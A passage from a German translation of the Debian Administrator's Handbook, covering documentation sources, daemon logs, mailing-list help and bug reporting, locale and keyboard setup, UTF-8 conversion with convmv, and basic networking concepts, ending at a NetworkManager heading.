Falls die Software eine sehr konkrete Fehlermeldung ausgibt, können Sie sie in eine Suchmaschine eingeben (in Anführungszeichen, ", um nicht nach einzelnen Stichwörtern, sondern nach dem ganzen Ausdruck zu suchen). In den meisten Fällen werden die ersten Verweise, die angezeigt werden, bereits die von Ihnen benötigte Antwort enthalten.

In anderen Fällen werden Sie sehr allgemeine Fehlermeldungen erhalten, wie zum Beispiel „Permission denied“. Dann ist es am besten, die Benutzerrechte der beteiligten Elemente (Dateien, User-ID, Gruppen usw.) zu überprüfen.

Falls Sie die Adresse der Webseite einer Software nicht kennen, gibt es verschiedene Wege, sie zu finden. Zunächst überprüfen Sie, ob es eine Homepage-Zeile in der Meta-Information des Pakets gibt (apt-cache show Paket). Daneben kann auch die Paketbeschreibung einen Verweis auf die offizielle Webseite des Programms enthalten. Falls keine URL angegeben ist, sehen Sie unter /usr/share/doc/Paket/copyright nach. Im Allgemeinen gibt der Debianbetreuer in dieser Datei an, woher er den Quellcode des Programms bezogen hat, und dies ist wahrscheinlich die Webseite, die Sie suchen. Falls Ihre Suche an dieser Stelle immer noch ergebnislos ist, können Sie ein Verzeichnis mit freier Software zu Rate ziehen, wie z.B. das Freie Software-Verzeichnis der FSF, oder suchen Sie direkt mit einer Suchmaschine wie Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

Vielleicht möchten Sie auch im Debian-Wiki nachsehen, einer gemeinschaftlich geführten Webseite, auf der jeder, selbst ein einfacher Besucher, Vorschläge direkt von seinem Browser aus machen kann. Es wird gleichermaßen von Entwicklern für die Gestaltung und Konkretisierung ihre Projekte benutzt, wie auch von Anwendern, die ihr Wissen durch die gemeinsame Erstellung von Dokumenten weitergeben.

→ http://wiki.debian.org/

7.1.5. Anleitungen (HOWTO)

Ein „HowTo“ ist ein Dokument, das konkret und Schritt für Schritt beschreibt, wie man ein bestimmtes Ziel erreicht. Die behandelten Themen sind recht vielfältig, aber häufig technischer Natur: zum Beispiel das Einrichten eines IP-Masquerading, das Konfigurieren eines Software-RAIDs, das Installieren eines Samba-Servers usw. Diese Dokumente versuchen häufig, alle Probleme abzudecken, die während der Anwendung einer bestimmten Technologie möglicherweise auftreten könnten.

Viele solcher Anleitungen werden vom Linux Documentation Project (LDP) verwaltet, auf dessen Webseite alle diese Dokumente untergebracht sind:

→ http://www.tldp.org/

Verwenden Sie diese Dokumente mit Vorsicht. Sie sind häufig mehrere Jahre alt; die darin enthaltene Information ist manchmal veraltet. Dieses Phänomen ist bei ihren Übersetzungen noch stärker verbreitet, da Aktualisierungen weder systematisch noch unmittelbar nach der Veröffentlichung einer neuen Version des ursprünglichen Dokuments erfolgen. Dies ist Teil des Vergnügens, in einer Freiwilligen-Umgebung und ohne Zwänge zu arbeiten…

7.2. Allgemeine Verfahren

Dieser Abschnitt dient dazu, einige allgemeine Tipps zu bestimmten Tätigkeiten zu geben, die ein Administrator häufig durchführen muss. Diese Verfahren werden natürlich nicht jeden denkbaren Fall in aller Ausführlichkeit abdecken, aber sie können als Ausgangspunkt für schwierigere Fälle dienen.

ENTDECKUNG Dokumentation in anderen Sprachen

Häufig ist eine Dokumentation, die in eine nicht-englische Sprache übersetzt wurde, in einem gesonderten Paket verfügbar mit dem Namen des dazugehörigen Pakets gefolgt von -lang (wobei lang der zweistellige ISO-Code dieser Sprache ist).

Beispielsweise enthält das Paket apt-howto-fr die französische Übersetzung des HowTo für APT. Entsprtechend sind die Pakete quick-reference-fr und debian-reference-fr die französischen Versionen der Referenzhandbücher für Debian (ursprünglich von Osamu Aoki in Englisch geschrieben).

7.2.1. Ein Programm konfigurieren

Wenn Sie ein unbekanntes Paket konfigurieren möchten, müssen Sie schrittweise vorgehen. Zunächst sollten Sie lesen, was der Paketbetreuer dokumentiert hat. So wird die Lektüre von /usr/share/doc/paket/README.Debian es Ihnen gewiss ermöglichen, etwas über spezielle Vorkehrungen zu erfahren, die getroffen wurden, um die Verwendung der Software zu vereinfachen. Manchmal ist dies unerlässlich, um Unterschiede zum ursprünglichen Verhalten des Programms zu verstehen, wie es in der allgemeinen Dokumentation (zum Beispiel den HowTos) beschrieben ist. Manchmal erklärt die Datei auch Einzelheiten der häufigsten Fehler, so dass Sie keine Zeit mit gewöhnlich auftretenden Problemen vergeuden.

Anschließend sollten Sie einen Blick auf die offizielle Dokumentation der Software werfen - sehen Sie in Abschnitt 7.1, „Dokumentationsquellen“ nach, um die verschiedenen vorhandenen Dokumentationsquellen zu ermitteln. Der Befehl dpkg -L paket gibt eine Liste der in dem Paket enthaltenen Dateien aus; so können sie schnell feststellen, welche Dokumentation verfügbar ist (wie auch die in /etc/ befindlichen Konfigurationsdateien). dpkg -s paket führt die Paket-Header auf und zeigt alle möglichen empfohlenen oder vorgeschlagenen Pakete an; darin können sie die Dokumentation finden oder ein Hilfsprogramm, das die Konfigurierung der Software erleichtert.

Schließlich sind auch die Konfigurationsdateien häufig intern mit zahlreichen erklärenden Kommentaren versehen, die die verschiedenen möglichen Werte für jede Konfigurationseinstellung im Einzelnen darlegen. Und zwar so konkret, dass es häufig ausreicht, eine der verfügbaren Zeilen zu aktivieren. Manchmal werden auch Fallbeispiele der Konfigurationsdateien im Verzeichnis /usr/share/doc/paket/examples/ bereitgestellt. Sie können als Basis für Ihre eigene Konfigurationsdatei dienen.

DEBIAN-RICHTLINIEN Speicherort von Beispielen

Alle Beispiele sollten in das Verzeichnis /usr/share/doc/paket/examples/ installiert werden. Dies kann eine Konfigurationsdatei, ein Programm-Quellcode (ein Beispiel für die Verwendung einer Bibliothek) oder ein Skript zur Datenkonvertierung sein, das der Administrator in bestimmten Fällen benutzen kann (um zum Beispiel eine Datenbank anzulegen). Falls das Beispiel nur für eine bestimmte Architektur gültig ist, sollte es nach /usr/lib/paket/examples/ installiert werden, und Sie sollten dann einen Verweis auf diese Datei im Verzeichnis /usr/share/doc/paket/examples/ anlegen.

7.2.2. Das Verhalten der Daemons (Hintergrundprozesse) überwachen

Was ein Daemon tut ist etwas komplizierter, da dieser nicht direkt mit dem Administrator interagiert. Um zu überprüfen, ob ein Daemon tatsächlich läuft, müssen Sie ihn testen. Um zum Beispiel Apache (Webserver-Daemon) zu überprüfen, testen Sie ihn mit einer HTTP-Anforderung.

Um solche Tests zu ermöglichen, protokolliert ein Daemon normalerweise alles, was er tut, sowie auch alle Fehler, die ihm begegnen, in sogenannten „Protokolldateien“ oder „Systemprotokollen“. Protokolle werden im Verzeichnis /var/log/ oder einem seiner Unterverzeichnisse gespeichert. Um für jeden Daemon den genauen Namen der Protokolldatei herauszufinden, sehen Sie in seiner Dokumentation nach. Hinweis: Ein einzelner Test ist nicht immer ausreichend, wenn er nicht alle etwaigen Anwendungsfälle abdeckt; einige Probleme treten nur unter ganz bestimmten Umständen auf.

HILFSPROGRAMM Der Daemon rsyslogd

rsyslogd ist etwas Besonderes: er sammelt Protokolle (interne Systemnachrichten), die ihm von anderen Programmen zugeschickt werden. Jeder Protokolleintrag ist einem Subsystem (e-Mail, Kernel, Legitimation usw.) zugeordnet und einer Priorität; rsyslogd verarbeitet diese Zwei-Bit-Information, um zu entscheiden, was zu tun ist. Die Protokollnachricht kann in unterschiedlichen Protokolldateien aufgezeichnet werden oder an eine Administrationskonsole geschickt werden. Die Einzelheiten sind in der Konfigurationsdatei /etc/rsyslog.conf festgelegt (und in der Handbuchseite gleichen Namens dokumentiert).

Bestimmte C-Funktionen, die auf das Versenden von Protokollen spezialisiert sind, vereinfachen die Verwendung des Daemons rsyslogd. Jedoch verwalten einige Daemons ihre eigenen Protokolldateien (dies gilt zum Beispiel für samba, der Windows-Freigaben auf Linux realisiert).

Beachten Sie, dass, wenn systemd verwendet wird, die Protokolle tatsächlich von systemd gesammelt werden, bevor sie an rsyslogd weitergeleitet werden. Sie sind somit auch über systemd's journal verfügbar und können mit journalctl eingesehen werden (siehe Abschnitt 9.1.1, „Das systemd Initialisierungssystem“ für Details).

ZURÜCK ZU DEN GRUNDLAGEN Daemon

Ein Daemon ist ein Programm, das nicht ausdrücklich vom Nutzer aufgerufen wird, sondern im Hintergrund auf das Eintreten bestimmter Bedingungen wartet, bevor es eine Aufgabe ausführt. Viele Serverprogramme sind Daemons, ein Begriff, der erklärt, warum am Ende ihres Namens häufig der Buchstabe „d“ steht (sshd, smtpd, httpd usw.).

Vorbeugend sollte der Administrator regelmäßig die wichtigsten Serverprotokolle durchsehen. Sie können auf diese Weise Probleme erkennen, noch bevor sie von verärgerten Nutzern gemeldet werden. In der Tat warten Nutzer manchmal mehrere Tage lang auf das wiederholte Auftreten eines Problems, bevor sie es melden. In vielen Fällen gibt es spezielle Hilfsprogramme, um den Inhalt größerer Protokolldateien zu analysieren. Insbesondere gibt es derartige Hilfsprogramme für Webserver (wie zum Beispiel analog, awstats, webalizer für Apache), für FTP-Server, für Proxy-/Cache-Server, für Firewalls, für E-Mail-Server, für DNS-Server und sogar für Druckserver. Einige dieser Hilfsprogramme arbeiten in modularer Weise und erlauben die Analyse verschiedener Arten von Protokolldateien. Dies ist der Fall bei lire. Andere Tools, wie logcheck (eine Software, die in Kapitel 14, Sicherheit Thema ist), scannen diese Dateien auf der Suche nach zu bearbeitenden Alerts.

7.2.3. In einer Mailingliste um Hilfe bitten

Falls alle Ihre Suchen Ihnen nicht geholfen haben, zum Kern des Problems vorzudringen, ist es möglich, Hilfe von anderen, möglicherweise erfahreneren Leuten zu bekommen. Dies ist genau der Zweck der Mailingliste <debian-user@lists.debian.org>. Wie bei jeder Gemeinschaft hat sie Regeln, die zu befolgen sind. Bevor Sie eine Frage stellen, sollten Sie überprüfen, ob das Problem nicht bereits durch noch nicht lange zurückliegende Diskussionen oder durch eine offizielle Dokumentation abgedeckt ist.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

HINWEIS Eine Liste im Web lesen

Bei umfangreichen Mailinglisten wie <debian-user@lists.debian.org> kann es sich lohnen, sie wie ein Diskussionsforum (oder eine Nachrichtengruppe) durchzugehen. Gmane.org ermöglicht es, sich die Debian-Listen in dieser Weise anzusehen. Die hier erwähnte Liste ist unter

→ http://dir.gmane.org/gmane.linux.debian.user

erreichbar.

ZURÜCK ZU DEN GRUNDLAGEN Geltende Netiquette

Grundsätzlich sollten die Regeln der Netiquette bei allen Schriftwechseln mit E-Mail-Listen befolgt werden. Dieser Begriff bezieht sich auf eine Reihe von Regeln des gesunden Menschenverstandes, von allgemeiner Höflichkeit bis zu Fehlern, die vermieden werden sollten.

→ http://tools.ietf.org/html/rfc1855

Außerdem sind Sie für jeden Kommunikationskanal, der vom Debian-Projekt verwaltet wird, an den Debian-Verhaltenskodex gebunden:

→ https://www.debian.org/code_of_conduct

Treffen diese beiden Bedingungen zu, können Sie daran gehen, Ihr Problem in der Mailingliste zu beschreiben. Fügen Sie möglichst viele sachbezogene Informationen bei: verschiedene Tests, die Sie durchgeführt haben, Dokumentationen, die Sie zu Rate gezogen haben, wie Sie versucht haben, das Problem zu einzugrenzen, die betroffenen oder möglicherweise beteiligten Pakete usw. Überprüfen Sie die Debian-Fehlerdatenbank (BTS, in der Seitenleiste HILFSPROGRAMM Fehlerdatenbank beschrieben) auf ähnliche Probleme, und erwähnen Sie die Ergebnisse dieser Überprüfung, indem Sie Verweise zu den Fehlern, die Sie gefunden haben, angeben. Das BTS beginnt auf

→ http://www.debian.org/Bugs/index.html

Je höflicher und genauer Sie sind, desto größer sind Ihre Aussichten, eine Lösung zu erhalten oder doch wenigstens Teile einer Antwort. Falls Sie passende Informationen über private E-Mails erhalten, sollten Sie in Betracht ziehen, diese öffentlich zusammenzufassen, so dass sie auch anderen nützen. Das ermöglicht Anderen, die vielleicht das gleiche Problem haben, mit verschiedenen Suchmaschinen in den Archiven der Mailingliste die Problemlösung zu finden.

7.2.4. Einen Fehler melden, wenn ein Problem zu schwierig ist

Wenn alle Ihre Versuche, ein Problem zu lösen, fehlschlagen, ist es möglich, dass die Lösung nicht in Ihrem Verantwortungsbereich liegt, und dass das Problem von einem Programmfehler hervorgerufen wird. In diesem Fall besteht die richtige Vorgehensweise darin, den Fehler an Debian oder direkt an die ursprünglichen Entwickler zu melden. Hierzu grenzen Sie das Problem möglichst weitgehend ein und erstellen eine minimale Testsituation, in der er reproduziert werden kann. Wenn Sie wissen, welches Programm offensichtlich der Grund für das Problem ist, können Sie das dazugehörige Paket mit dem Befehl dpkg -S betroffene_datei finden. Überprüfen Sie die Fehlerdatenbank (https://bugs.debian.org/paket), um sicherzustellen, dass der Fehler nicht bereits gemeldet worden ist. Sie können dann Ihren eigenen Fehlerbericht mit dem Befehl reportbug einsenden, einschließlich möglichst vieler Informationen, insbesondere einer vollständigen Beschreibung der minimalen Testfälle, die es jedem ermöglichen, den Fehler zu reproduzieren.

Die Teile dieses Kapitels zeigen ein Weg, Probleme effektiv zu lösen, die die folgenden Kapitel hervorrufen könnten. Benutzen Sie sie so oft wie nötig!

Kapitel 8. Basis-Konfigurierung: Netzwerk, Benutzerkonten, Drucken...

Ein Rechner mit einer neuen Installation, die mit debian-installer erstellt wurde, sollte möglichst weitgehend funktionsfähig sein, aber viele Dienste müssen noch konfiguriert werden. Außerdem ist es immer gut, wenn man weiß, wie bestimmte Konfigurationselemente, die während des ursprünglichen Installationsprozesses festgelegt wurden, geändert werden.

In diesem Kapitel wird all das besprochen, was wir „Basis-Konfigurierung“ nennen: Netzwerkbetrieb, Sprache und Sprachumgebungen, Benutzer und Gruppen, Drucken, Einhängepunkte usw.

8.1. Das System für eine andere Sprache konfigurieren

Falls das System auf Französisch installiert wurde, wird der Rechner wahrscheinlich schon Französisch als Sprache voreingestellt haben. Aber es ist gut zu wissen, was der Installer macht, um die Sprache einzustellen, so dass Sie sie später, falls nötig, ändern können.

HILFSPROGRAMM Der Befehl locale zur Anzeige der aktuellen Konfiguration

Der Befehl locale listet eine Zusammenfassung der aktuellen Konfiguration verschiedener lokaler Parameter (Datumsformat, Zahlenformat usw.) auf, dargestellt in Form einer Gruppe von Standardumgebungsvariablen, die der dynamischen Änderung dieser Einstellungen entsprechen.

8.1.1. Die Standardsprache einstellen

Eine Sprachumgebung ist eine Sammlung regionaler Einstellungen. Diese beinhalten nicht nur die Sprache für den Text, sondern auch das Format für Zahlen, Datumsangaben, Zeiten und Währungsbeträge, sondern auch die Regeln für alphabetische Vergleiche (um Einträge mit Akzenten richtig einzusortieren). Obwohl jeder dieser Parameter unabhängig von den anderen festgelegt werden kann, verwenden wir normalerweise eine Sprachumgebung, die einen kohärenten Satz von Einstellungen zur Verfügung stellt, die einem „Gebiet“ im weiteren Sinne zugeordnet werden kann. Diese Sprachumgebungen werden gewöhnlich in der Form sprachcode_LÄNDERCODE angegeben, manchmal mit einem Suffix zur Festlegung des Zeichensatzes und der zu verwendenden Kodierung. Dies ermöglicht die Berücksichtigung redensartlicher und typografischer Unterschiede zwischen verschiedenen Regionen mit einer gemeinsamen Sprache.

KULTUR Zeichensätze

Historisch bedingt hat jede Sprachumgebung einen dazugehörigen „Zeichensatz“ (Gruppe bekannter Zeichen) und eine bevorzugte „Codierung“ (interne Darstellung von Zeichen innerhalb des Rechners).

Die gängigsten Kodierungen für latin-basierte Sprachen waren begrenzt auf 256 Zeichen, weil diese ein einzelnes Byte für jedes Zeichen verwendeten. Da man mit 256 Zeichen nicht alle europäischen Sprachen abdecken konnte, benötigte man mehrere Kodierungen und so kam es unter anderem zu ISO-8859-1 (auch bekannt als “Latin 1”) bis ISO-8859-15 (auch bekannt als “Latin 9”).

Das Arbeiten mit fremden Sprachen erfordert häufig regelmäßiges Umschalten zwischen verschiedenen Codierungen und Zeichensätzen. Darüber hinaus führte das Schreiben mehrsprachiger Dokumente zu weiteren, fast unlösbaren Problemen. Unicode (ein Superkatalog fast aller Schreibsysteme aller Sprachen der Erde) wurde zur Umgehung dieses Problems entwickelt. Eine der Codierungen von Unicode, UTF-8, behält alle 128 ASCII-Symbole (7-Bit Codes), behandelt weitere Zeichen aber auf andere Weise. Diesen wird spezielle „Escape“-Sequenz mit wenigen Bits vorangestellt, die implizit die Länge des Zeichens festlegt. Dadurch können alle Unicode-Zeichen in einer Folge von einem oder mehreren Bytes kodiert werden. Durch die Voreinstellung in XML-Dokumenten wurde die Verwendung von Unicode populär.

Diese Kodierung sollte allgemein verwendet werden und ist deshalb auch die Voreinstellung für Debian-Systeme.

Das Paket locales enthält alle Elemente, die für das richtige Funktionieren der „Lokalisierung“ verschiedener Anwendungen erforderlich sind. Während des Installierens verlangt dieses Paket einen Satz von unterstützten Sprachen auszuwählen. Dieser Satz kann jederzeit durch das Ausführen von dpkg-reconfigure locales als root geändert werden.

Sie werden zunächst gefragt, welche „Sprachumgebungen“ unterstützt werden sollen. Das Auswählen aller deutschen Sprachumgebungen (das heißt alle, die mit „de_“ beginnen) ist eine vernünftige Wahl. Zögern Sie nicht, andere Sprachumgebungen einzurichten, falls der Rechner ausländischen Benutzern zur Verfügung stehen wird. Die Liste der unterstützten Sprachumgebungen des Systems ist in der Datei /etc/locale.gen gespeichert. Diese Datei kann von Hand editiert werden, jedoch sollten Sie nach jeder Änderung locale-gen ausführen. Es erzeugt die für die hinzugefügten Sprachumgebungen erforderlichen Dateien und entfernt veraltete.

Die zweite Frage lautet „Default locale for the system environment“ und fordert die Angabe einer Voreinstellung für die Sprachumgebung. In Deutschland ist die empfohlene Auswahl „de_DE.UTF-8“. Österreicher werden „de_AT.UTF-8“ bevorzugen, Schweizer „de_CH.UTF-8“, Belgier „de_BE.UTF-8“, Luxemburger „de_LU.UTF-8“ und Liechtensteiner „de_LI.UTF-8“. Die Datei /etc/default/locale wird anschließend geändert, um die Auswahl zu speichern. Von dort wird die Einstellung in alle Benutzersitzungen übernommen, indem PAM den Wert in die Umgebungsvariable LANG kopiert.

HINTER DEN KULISSEN /etc/environment und /etc/default/locale

Die Datei /etc/environment stellt für die Programme login, gdm und auch ssh die richtigen Umgebungsvariablen bereit, die diese einsetzen sollen.

Diese Anwendungen erzeugen diese Variablen nicht direkt, sondern vielmehr mit Hilfe eines PAM-Moduls (pam_env.so). PAM (Pluggable Authentication Module) ist eine modulare Bibliothek, die die Verfahren für die Authentifizierung, die Sitzungseröffnung und die Passwortverwaltung zusammenfasst. Siehe Abschnitt 11.7.3.2, „PAM konfigurieren“ für ein Beispiel einer PAM-Konfigurierung.

Die Datei /etc/default/locale funktioniert ähnlich, enthält aber nur die Umgebungsvariable LANG. Dies bedeutet, dass einige PAM-Benutzer eine Umgebung ohne Lokalisierung erhalten. Es wird allgemein nicht empfohlen, Serverprogramme mit regionalen Einstellungen auszuführen; dagegen ist es bei Programmen, die eine Anwendersitzung eröffnen, empfohlen, regionale Einstellungen zu verwenden.

8.1.2. Die Tastatur einstellen

Auch wenn das Tastatur-Layout für Konsole und grafisches Interface unterschiedlich verwaltet wird, bietet Debian eine gemeinsame Konfigurationsschnittstelle: sie basiert auf debconf und ist im Paket keyboard-configuration enthalten. Deshalb kann man jederzeit den Befehl dpkg-reconfigure keyboard-configuration verwenden um das Tastatur-Layout zurückzusetzen.

Die Fragen sind für die physische Tastaturanordnung wichtig (eine gewöhnliche PC-Tastatur in Deutschland und Österreich wird vom Typ „Generische Tastatur mit 105 Tasten (Intl)“ sein), dann für die zu wählende Belegung (normalerweise „DE“) und schließlich für die Position der AltGr-Taste (Alt-Taste rechts der Leertaste). Schließlich stellt sich die Frage, welche Taste als „Compose-Taste“ verwendet werden soll, die es ermöglicht, Sonderzeichen durch die Kombination mehrerer Tastenanschläge einzugeben. Wenn Sie nacheinander Compose ' e eingeben, erhalten Sie ein E-Akut („é“). Alle diese Kombinationen sind in der Datei /usr/share/X11/locale/en_US.UTF-8/Compose beschrieben (oder einer anderen Datei in Übereinstimmung mit der aktuellen Sprachumgebung, wie sie in der Datei /usr/share/X11/locale/compose.dir festgelegt ist).

Beachten Sie, dass die hier beschriebene Tastaturkonfigurierung für den grafischen Modus nur die Standardbelegung beeinflusst; die GNOME- und KDE-Umgebungen stellen, wie andere auch, bei ihren Systemeinstellungen ein Tastaturkonfigurierungsfenster bereit, das es jedem Anwender ermöglicht, seine eigene Konfiguration zu bekommen. Einige zusätzliche Optionen bezüglich des Verhaltens einiger bestimmter Tasten sind ebenfalls in diesen Konfigurierungsfenstern verfügbar.

8.1.3. Auf UTF-8 umstellen

Die allgemeine Verbreitung von UTF-8 war eine lang erwartete Lösung für verschiedene Probleme im Bereich der Interoperabilität, da es den internationalen Austausch erleichtert und willkürliche Beschränkungen bei Zeichen, die in einem Dokument verwendet werden können, beseitigt. Die einzige Schattenseite ist, dass es durch eine ziemlich schwierige Übergangsphase gehen musste. Da sie nicht vollständig transparent ablaufen konnte (das heißt, dass sie nicht gleichzeitig weltweit stattfinden konnte), waren zwei Umstellungsvorgänge erforderlich: einer beim Dateiinhalt und der andere bei den Dateinamen. Zum Glück ist der Großteil dieser Umstellung inzwischen erledigt, und wir erwähnen sie nur der Vollständigkeit halber.

KULTUR Zeichensalat und Interpretationsfehler

Wenn ein Text ohne Codierungsinformation verschickt (oder gespeichert) wird, kann der Empfänger nicht immer mit Sicherheit sagen, welche Konvention er zur Bestimmung der Bedeutung eines Bytesatzes verwenden soll. Sie können gewöhnlich eine gewisse Vermutung erhalten, indem Sie Statistiken über die Häufigkeit der im Text vorhandenen Werte betrachten, aber das gibt Ihnen nicht immer eine sichere Antwort. Wenn das zum Lesen herangezogene Codierungssystem sich von dem zum Schreiben der Datei verwendeten unterscheidet, werden die Bytes falsch interpretiert, und Sie erhalten bestenfalls bei einigen Zeichen Fehler und schlimmstenfalls etwas völlig Unleserliches.

Wenn zum Beispiel ein französischer Text normal erscheint bis auf die mit Akzenten versehenen Buchstaben und bestimmte Symbole, die stattdessen durch Zeichenfolgen wie „Ã©“, „Ã¨“ oder „Ã§“ angezeigt werden, handelt es sich vermutlich um eine Datei, die in UTF-8 kodiert ist, aber als ISO-8859-1 oder ISO-8859-15 interpretiert wird. Dies ist ein Hinweis auf eine lokale Installation, die noch nicht auf UTF-8 umgestellt ist. Falls Sie dagegen Fragezeichen anstelle von mit Akzenten versehenen Buchstaben sehen - selbst wenn diese Fragezeichen einen Buchstaben zu ersetzen scheinen, der auf einen mit einem Akzent versehenen Buchstaben hätte folgen sollen - ist es wahrscheinlich, dass Ihre Installation bereits für UTF-8 konfiguriert ist, und dass Ihnen ein in Western ISO codiertes Dokument geschickt worden ist.

Soviel zu den „einfachen“ Fällen. Diese treten nur in westlichen Kulturen auf, da Unicode (und UTF-8) entwickelt wurde, um die Gemeinsamkeiten historischer Codierungen in westlichen, auf Latein basierenden Alphabeten zu maximieren, wodurch es möglich ist, Teile des Textes zu erkennen, selbst wenn einige Buchstaben fehlen.

Bei komplexeren Konfigurationen, bei denen es sich zum Beispiel um zwei Umgebungen mit zwei verschiedenen Sprachen handelt, die nicht dasselbe Alphabet verwenden, erhält man häufig völlig unleserliche Ergebnisse - eine Reihe abstrakter Symbole, die nichts miteinander zu tun haben. Dies ist aufgrund ihrer zahlreichen Sprach- und Schriftsysteme vor allem bei asiatischen Sprachen der Fall. Das japanische Wort Mojibake wird zur Bezeichnung dieses Phänomens verwendet. Wenn es auftritt, ist eine Diagnose schwierig, und die einfachste Lösung besteht dann häufig darin, auf beiden Seiten einfach auf UTF-8 umzustellen.

Bei Dateinamen kann die Umstellung recht einfach sein. Das Hilfsprogramm convmv (im gleichnamigen Paket) ist speziell zu diesem Zweck entwickelt worden; es ermöglicht die Umbenennung von Dateien von einer Codierung in eine andere. Die Benutzung dieses Hilfsprogramms ist recht einfach, wir empfehlen jedoch, in zwei Schritten vorzugehen, um Überraschungen zu vermeiden. Das folgende Beispiel zeigt eine UTF-8-Umgebung, die in ISO-8859-15 codierte Verzeichnisnamen enthält, und die Verwendung von convmv zu ihrer Umbenennung.

$ ls travail/
Ic?nes  ?l?ments graphiques  Textes
$ convmv -r -f iso-8859-15 -t utf-8 travail/
Starting a dry run without changes...
mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"
mv "travail/Ic�nes"     "travail/Icônes"
No changes to your files done. Use --notest to finally rename the files.
$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/
mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"
mv "travail/Ic�nes"     "travail/Icônes"
Ready!
$ ls travail/
Éléments graphiques  Icônes  Textes

Für Dateiinhalte sind die Umwandlungsverfahren wegen der enormen Vielfalt bestehender Dateiformate aufwändiger. Einige Dateiformate enthalten Codierungsinformationen, die die Aufgabe der zu ihrer Behandlung eingesetzten Software erleichtern; in diesen Fällen genügt es, die Dateien zu öffnen und sie unter Vorgabe der Codierung als UTF-8 erneut zu speichern. In anderen Fällen muss man beim Öffnen der Datei ihre ursprüngliche Codierung angeben (ISO-8859-1 oder „Western“, beziehungsweise ISO-8859-15 oder „Western (Euro)“ je nach Formulierung).

Für einfache Textdateien kann man recode (im gleichnamigen Paket) verwenden, das ein automatisches Umcodieren ermöglicht. Dieses Hilfsprogramm hat zahlreiche Optionen; Sie können daher mit seinem Verhalten herumspielen. Wir empfehlen Ihnen, die Dokumentation zu Rate zu ziehen, entweder die Handbuchseite recode(1) oder die ausführlichere Informationsseite recode.

8.2. Konfigurieren des Netzwerks

ZURÜCK ZU DEN GRUNDLAGEN Wesentliche Netzwerkkonzepte (Ethernet, IP-Adresse, Subnetz, Broadcast)

Die meisten modernen lokalen Netzwerke verwenden das Ethernet-Protokoll, bei dem Daten in kleine Abschnitte, sogenannte „Frames“, unterteilt und dann abschnittsweise über das Kabel übertragen werden. Die Übertragungsgeschwindigkeit reicht von 10 MB/s bei älteren Ethernetkarten bis zu 10 Gb/s bei den neuesten (wobei die üblichste Geschwindigkeit zur Zeit von 100 Mb/s auf 1 Gb/s ansteigt). Die am weitesten verbreiteten Kabel heißen 10BASE-T, 100BASE-T, 1000BASE-T oder 10GBASE-T je nach Durchsatz, den sie verlässlich erreichen können (das T steht für „twisted pair“); diese Kabel haben RJ45-Steckverbindungen. Es gibt auch andere meistens für Geschwindigkeiten 1 Gb/s oder mehr verwendete Kabelarten.

Eine IP-Adresse ist eine Zahl, die zur Identifizierung einer Netzwerkschnittstelle eines Rechners in einem lokalen Netzwerk oder im Internet dient. In der gegenwärtig am weitesten verbreiteten IP-Version (IPv4) ist diese Zahl in 32 Bits codiert und wird gewöhnlich in Form von vier durch Punkte getrennte Zahlen dargestellt (z. B. 192.168.0.1), wobei jede Zahl von 0 bis 255 reichen kann (was einem Datenumfang von 8 Bits entspricht). Die nächste Version des Protokolls, IPv6, erweitert den Adressenraum auf 128 Bits, und die Adressen werden normalerweise in Form einer Reihe von hexadezimalen durch Doppelpunkte getrennte Zahlen dargestellt (z. B. 2002:58bf:13bb:0002:0000:0000:0020 oder kurz 2002:58bf:13bb:2::20).

Eine Subnetzmaske (Netzmaske) legt in ihrem Binärcode fest, welcher Teil einer IP-Adresse sich auf das Netzwerk bezieht, während der Rest den Rechner bezeichnet. In dem hier dargestellten Beispiel der Konfigurierung einer statischen IPv4-Adresse lässt die Subnetzmaske 255.255.255.0 (24 „1“en gefolgt von 8 „0“en in binärer Darstellung) erkennen, dass sich die ersten 24 Bits der IP-Adresse auf die Netzwerkadresse beziehen und die übrigen 8 rechnerspezifisch sind. Bei IPv6 werden der besseren Lesbarkeit halber nur die „1“en dargestellt; die Netzmaske eines IPv6-Netzwerks könnte daher etwa 64 lauten.

Die Netzwerkadresse ist eine IP-Adresse, bei der der Teil, der die Rechnernummer bezeichnet, 0 ist. Der Bereich der IPv4-Adressen in einem vollständigen Netzwerk wird häufig in Form der Syntax a.b.c.d/e angegeben, wobei a.b.c.d die Netzwerkadresse und e die Bezeichnung der Bits ist, auf die sich der Netzwerkteil einer IP-Adresse auswirkt. Das Beispielsnetzwerk würde somit 192.168.0.0/24 geschrieben. In IPv6 ist die Syntax ähnlich: 2002:58bf:13bb:2::/64.

Ein Router ist ein Gerät, das mehrere Netzwerke miteinander verbindet. Aller durch einen Router laufender Datenverkehr wird dem richtigen Netzwerk zugeleitet. Hierzu analysiert der Router ankommende Pakete und leitet sie in Abhängigkeit von der IP-Adresse ihres Ziels weiter. Der Router wird häufig als „Gateway“ bezeichnet; in dieser Konfigurierung fungiert er als ein Gerät, das dabei hilft, über das lokale Netzwerk hinauszugelangen (in ein erweitertes Netzwerk wie zum Beispiel das Internet).

Die spezielle Broadcast-Adresse verbindet alle Stationen eines Netzwerks. Sie wird fast nie „geroutet“ und funktioniert nur innerhalb des betreffenden Netzwerks. Insbesondere bedeutet dies, das ein an den Broadcast adressiertes Datenpaket niemals über den Router läuft.

Dieses Kapitel befasst sich vor allem mit IPv4-Adressen, da sie zur Zeit die am häufigsten verwendeten sind. Die Einzelheiten des IPv6-Protokolls werden in Abschnitt 10.5, „IPv6“ dargelegt; das Konzept bleibt jedoch das gleiche.

Da das Netzwerk im Laufe der ursprünglichen Installation automatisch konfiguriert wird, enthält die Datei /etc/network/interfaces bereits eine gültige Konfiguration. Eine mit auto beginnende Zeile zeigt eine Liste von Schnittstellen an, die beim Hochfahren automatisch von ifupdown und sein /etc/init.d/networking Init-Skript konfiguriert werden. Dies wird häufig eth0 sein, das sich auf die erste Ethernet-Karte bezieht.

ALTERNATIVE NetworkManager

